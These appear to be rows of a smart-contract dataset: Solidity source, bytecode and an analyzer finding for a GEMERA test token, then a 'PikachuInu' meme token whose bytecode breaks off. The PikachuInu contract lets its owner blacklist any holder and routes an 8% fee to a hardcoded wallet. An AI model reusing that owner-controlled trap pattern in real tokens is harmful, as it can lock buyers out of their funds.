allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
address private newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
newOwner = _newOwner;
}
/**
* @dev The ownership is transferred only if the new owner approves it.
*/
function approveOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
mapping(address => bool) private allowedAddressesForBurn;
address[50] private burnAddresses;
uint public burned;
event Burn(address indexed burner, uint value);
modifier isAllowed(address _address) {
require(allowedAddressesForBurn[_address]);
_;
}
function BurnableToken(address[50] _addresses) public {
burnAddresses = _addresses;
for (uint i; i < burnAddresses.length; i++) {
if (burnAddresses[i] != address(0)) {
allowedAddressesForBurn[burnAddresses[i]] = true;
}
}
}
/*/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint _value) public isAllowed(msg.sender) {
require(_value > 0);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
burned = burned.add(_value);
Burn(burner, _value);
Transfer(burner, 0x0, _value);
}
function burnAll() public {
burn(balances[msg.sender]);
}
function getBurnAddresses() public view returns(address[50]) {
return burnAddresses;
}
}
contract Restrictable is Ownable {
address public restrictedAddress;
event RestrictedAddressChanged(address indexed restrictedAddress);
modifier notRestricted(address tryTo) {
require(tryTo != restrictedAddress);
_;
}
//that function could be called only ONCE!!! After that nothing could be reverted!!!
function setRestrictedAddress(address _restrictedAddress) onlyOwner public {
restrictedAddress = _restrictedAddress;
RestrictedAddressChanged(_restrictedAddress);
transferOwnership(_restrictedAddress);
}
}
contract GEMERAToken is MintableToken, BurnableToken, Restrictable {
string public constant name = "G_TEST";
string public constant symbol = "GTEST";
uint32 public constant decimals = 18;
function GEMERAToken(address[50] _addrs) public BurnableToken(_addrs) {}
function transfer(address _to, uint256 _value) public notRestricted(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public notRestricted(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
|
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde031461015e578063095ea7b3146101e857806318160ddd1461020a57806323b872dd1461022f578063313ce5671461025757806340c10f191461028357806342966c68146102a557806366188463146102bd57806370a08231146102df57806373f42561146102fe578063742c81e4146103115780637d64bcb4146103245780637f4ae68d146103375780638da5cb5b1461036657806395d89b411461037957806398973f2b1461038c5780639975038c146103ab578063a9059cbb146103be578063b968a53c146103e0578063d73dd6231461042c578063dd62ed3e1461044e578063f2fde38b14610473575b600080fd5b341561014257600080fd5b61014a610492565b604051901515815260200160405180910390f35b341561016957600080fd5b6101716104a2565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ad578082015183820152602001610195565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b61014a600160a060020a03600435166024356104d9565b341561021557600080fd5b61021d610545565b60405190815260200160405180910390f35b341561023a57600080fd5b61014a600160a060020a036004358116906024351660443561054b565b341561026257600080fd5b61026a61057f565b60405163ffffffff909116815260200160405180910390f35b341561028e57600080fd5b61014a600160a060020a0360043516602435610584565b34156102b057600080fd5b6102bb600435610680565b005b34156102c857600080fd5b61014a600160a060020a0360043516602435610793565b34156102ea57600080fd5b61021d600160a060020a036004351661088d565b341561030957600080fd5b61021d6108a8565b341561031c57600080fd5b6102bb6108ae565b341561032f57600080fd5b61014a61093c565b341561034257600080fd5b61034a6109c7565b604051600160a060020a03909116815260200160405180910390f35b341561037157600080fd5b61034a6109d6565b341561038457600080fd5b6101716109e5565b341561039757600080fd5b6102bb600160a060020a0360043516610a1c565b34156103b657600080fd5b6102bb610a9a565b34156103c957600080fd5b61014a600160a060020a0360043516602435610abe565b34156103eb57600080fd5b6103f3610af0565b604051808261064080838360005b83811015610419578082015183820152602001610401565b5050505090500191505060405180910390f35b341561043757600080fd5b61014a600160a060020a0360043516602435610b39565b341561045957600080fd5b61021d600160a060020a0360043581169060243516610bdd565b341561047e57600080fd5b6102bb600160a060020a0360043516610c08565b60045460a060020a900460ff1681565b60408051908101604052600681527f475f544553540000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6039546000908390600160a060020a038083169116141561056b57600080fd5b610576858585610c67565b95945050505050565b601281565b60035460009033600160a060020a039081169116146105a257600080fd5b60045460a060020a900460ff16156105b957600080fd5b6001546105cc908363ffffffff610d7d16565b600155600160a060020a0383166000908152602081905260409020546105f8908363ffffffff610d7d16565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a0383166000600080516020610eaa8339815191528460405190815260200160405180910390a350600192915050565b33600160a060020a03811660009081526005602052604081205490919060ff1615156106ab57600080fd5b600083116106b857600080fd5b33600160a060020a0381166000908152602081905260409020549092506106df9084610d93565b600160a060020a03831660009081526020819052604090205560015461070b908463ffffffff610d9316565b600155603854610721908463ffffffff610d7d16565b603855600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58460405190815260200160405180910390a2600082600160a060020a0316600080516020610eaa8339815191528560405190815260200160405180910390a3505050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054808311156107f057600160a060020a033381166000908152600260209081526040808320938816835292905290812055610827565b610800818463ffffffff610d9316565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60385481565b60045433600160a060020a039081169116146108c957600080fd5b600454600354600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600480546003805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b60035460009033600160a060020a0390811691161461095a57600080fd5b60045460a060020a900460ff161561097157600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b603954600160a060020a031681565b600354600160a060020a031681565b60408051908101604052600581527f4754455354000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a03908116911614610a3757600080fd5b6039805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383169081179091557fe70e47c7d6d2adce211b01e08d016c4afa1a90c764c829a637a732f35bb25f6460405160405180910390a2610a9781610c08565b50565b600160a060020a033316600090815260208190526040902054610abc90610680565b565b6039546000908390600160a060020a0380831691161415610ade57600080fd5b610ae88484610da5565b949350505050565b610af8610e80565b600660326106406040519081016040529190610640830182845b8154600160a060020a03168152600190910190602001808311610b12575050505050905090565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610b71908363ffffffff610d7d16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610c2357600080fd5b600160a060020a0381161515610c3857600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000600160a060020a0383161515610c7e57600080fd5b600160a060020a038416600090815260208190526040902054610ca7908363ffffffff610d9316565b600160a060020a038086166000908152602081905260408082209390935590851681522054610cdc908363ffffffff610d7d16565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054610d22908363ffffffff610d9316565b600160a060020a0380861660008181526002602090815260408083203386168452909152908190209390935590851691600080516020610eaa8339815191529085905190815260200160405180910390a35060019392505050565b600082820183811015610d8c57fe5b9392505050565b600082821115610d9f57fe5b50900390565b6000600160a060020a0383161515610dbc57600080fd5b600160a060020a033316600090815260208190526040902054610de5908363ffffffff610d9316565b600160a060020a033381166000908152602081905260408082209390935590851681522054610e1a908363ffffffff610d7d16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a0316600080516020610eaa8339815191528460405190815260200160405180910390a350600192915050565b6106406040519081016040526032815b600081526000199091019060200181610e9057905050905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a5c2ff1f1b2312e30f5be0ceefcab2e4db6c68c107df502f72fe9026eb84b3cf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,318 |
0x8e32337409e437a91236866b957e905a0fb9be1d
|
/**
PikachuInu
💻telegram:https://t.me/pikachuinutoken
📡Website:pikachuinuerc20.com
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract PikachuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "PikachuInu";
string private constant _symbol = "PikachuInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x1efB2eA285880fD935feB2Bc924D6e688AB6e336);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 8;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal.mul(15).div(1000);
_maxWalletSize = _tTotal.mul(30).div(1000);
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612e2b565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612932565b6104b4565b60405161018e9190612e10565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612fcd565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612972565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d91906128df565b61060c565b60405161021f9190612e10565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612845565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190613042565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e91906129bb565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612a15565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612845565b6109db565b6040516103199190612fcd565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612d42565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612e2b565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612932565b610c9a565b6040516103da9190612e10565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612a15565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061289f565b6113c3565b60405161046e9190612fcd565b60405180910390f35b60606040518060400160405280600a81526020017f50696b61636875496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c161144a565b8484611452565b6001905092915050565b600067016345785d8a0000905090565b6104ea61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612f0d565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61338a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610600906132e3565b91505061057a565b5050565b600061061984848461161d565b6106da8461062561144a565b6106d58560405180606001604052806028815260200161374960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b61144a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cb09092919063ffffffff16565b611452565b600190509392505050565b6106ed61144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612f0d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e661144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612f0d565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b61089861144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612f0d565b60405180910390fd5b6000811161093257600080fd5b61096060646109528367016345785d8a0000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa61144a565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611dd9565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e45565b9050919050565b610a3461144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612f0d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b8761144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612f0d565b60405180910390fd5b67016345785d8a0000600f8190555067016345785d8a0000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f50696b61636875496e7500000000000000000000000000000000000000000000815250905090565b6000610cae610ca761144a565b848461161d565b6001905092915050565b610cc061144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612f0d565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a8367016345785d8a0000611d1490919063ffffffff16565b611d8f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd261144a565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611eb3565b50565b610e1361144a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612f0d565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612fad565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000611452565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612872565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612872565b6040518363ffffffff1660e01b81526004016110b4929190612d5d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d